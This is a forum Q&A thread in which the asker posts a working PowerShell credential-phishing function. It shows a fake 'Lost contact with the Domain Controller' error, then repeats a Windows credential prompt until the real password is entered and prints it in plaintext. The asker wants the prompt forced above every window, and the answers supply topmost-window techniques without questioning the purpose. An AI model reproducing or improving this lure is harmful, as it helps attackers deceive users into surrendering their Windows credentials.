0

I want the creds box in powershell to be shown on top of every window like a user see this box on every window..............

function Invoke-Prompt {
    [CmdletBinding()]
    Param (
        [Switch] $ProcCreateWait,
        [String] $MsgText = 'Lost contact with the Domain Controller.',
        [String] $IconType = 'Information',         # "None", "Critical", "Question", "Exclamation" , "Information" 
        [String] $Title = 'ERROR - 0xA801B720'
    )
    Add-Type -AssemblyName Microsoft.VisualBasic
    Add-Type -assemblyname System.DirectoryServices.AccountManagement
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)

    if($MsgText -and $($MsgText -ne '')){
        $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
    }

    $c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
    $credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")

    if($credential){
           while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
              $credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
          }
        "[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
    }
    else{
        "[!] User closed credential prompt"
    }
}
Invoke-Prompt
usama
  • 141
  • 1
  • 1
  • 9

2 Answers2

0

Have you looked into:

$Credential = Get-Credential 

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-6

Reference the examples for some examples of customization of the credentials prompt.

ahhbeemo
  • 21
  • 1
  • Yeah I did there's no such thing like topmost property of System.Windows.Forms that's why I put this question here. – usama Apr 29 '19 at 16:27
  • Firstly, what are you trying to achieve? This will only work on the app / script you started ()your script would have no idea what other app is running) and especially when multi-monitor setups are in place. If your code does disable actions on all screens, then that is a catch 22. Also, you are not using forms at all. Meaning WInForm/WPF - You are using MessageBoxes. You have no form types or form code in your post. – postanote Apr 29 '19 at 23:28
  • I'm not using system.windows.forms any other way I can achieve that. – usama Apr 30 '19 at 01:26
0

As for this....

there's no such thing like topmost property of System.Windows.Forms

... are you sure about that, because, the below would refute that...

Form.TopMost Property

Definition Namespace: System.Windows.Forms

Assembly: System.Windows.Forms.dll

Gets or sets a value indicating whether the form should be displayed as a topmost form.

Other examples of topmost efforts:

PowerShell tricks – Open a dialog as topmost window - and does cover your, no TopMost comment, yet, that is for dialog box which is what you are using vs a Windows Form. well, what you posted here. If you wanted a WinForm/WPF then you need to use these.

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName PresentationFramework

Even though there is no built-in property to set the dialog as the topmost window, the same can be achieved using the second overload of the ShowDialog method (MSDN: ShowDialog method). This overload expects a parameter which indicates the parent windows of the dialog. Since the owning window will not be used after the dialog has been closed we can just create a new form on the fly within the method call:

Add-Type -AssemblyName System.Windows.Forms

$FolderBrowser = New-Object System.Windows.Forms.FolderBrowserDialog
$FolderBrowser.Description = 'Select the folder containing the data'

$result = $FolderBrowser.ShowDialog((New-Object System.Windows.Forms.Form -Property @{TopMost = $true }))

if ($result -eq [Windows.Forms.DialogResult]::OK)
{ $FolderBrowser.SelectedPath }
else { exit }

Or this one...

Keep Messagebox.show() on top of other application using c#

MessageBox.Show("Message Text", "Header", MessageBoxButtons.OK, MessageBoxIcon.None, 
     MessageBoxDefaultButton.Button1, (MessageBoxOptions)0x40000);  // MB_TOPMOST
The 0x40000 is the "MB_TOPMOST"-Flag.

# Or

MessageBox.Show("Hello there", "Prompt", MessageBoxButtons.OK, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);

C# MessageBox To Front When App is Minimized To Tray

MessageBox.Show(new Form() { TopMost = true }, "You have not inputted a username or password. Would you like to configure your settings now?",
                 "Settings Needed",
                 MessageBoxButtons.YesNo,
                 MessageBoxIcon.Question);

Force MessageBox to be on top of application window in .net/WPF Accepted answer w/ 43 upvotes:

Keep Form on Top of All Other Windows

Well, this one is C#, but since PowerShell can use all things .Net, this is still worth considering.

Lastly, why are you saying, that what you are showing, is not giving you the designed results? When I test wit what you have here, it is working on at least two systems I've tested it on.

postanote
  • 15,138
  • 2
  • 14
  • 25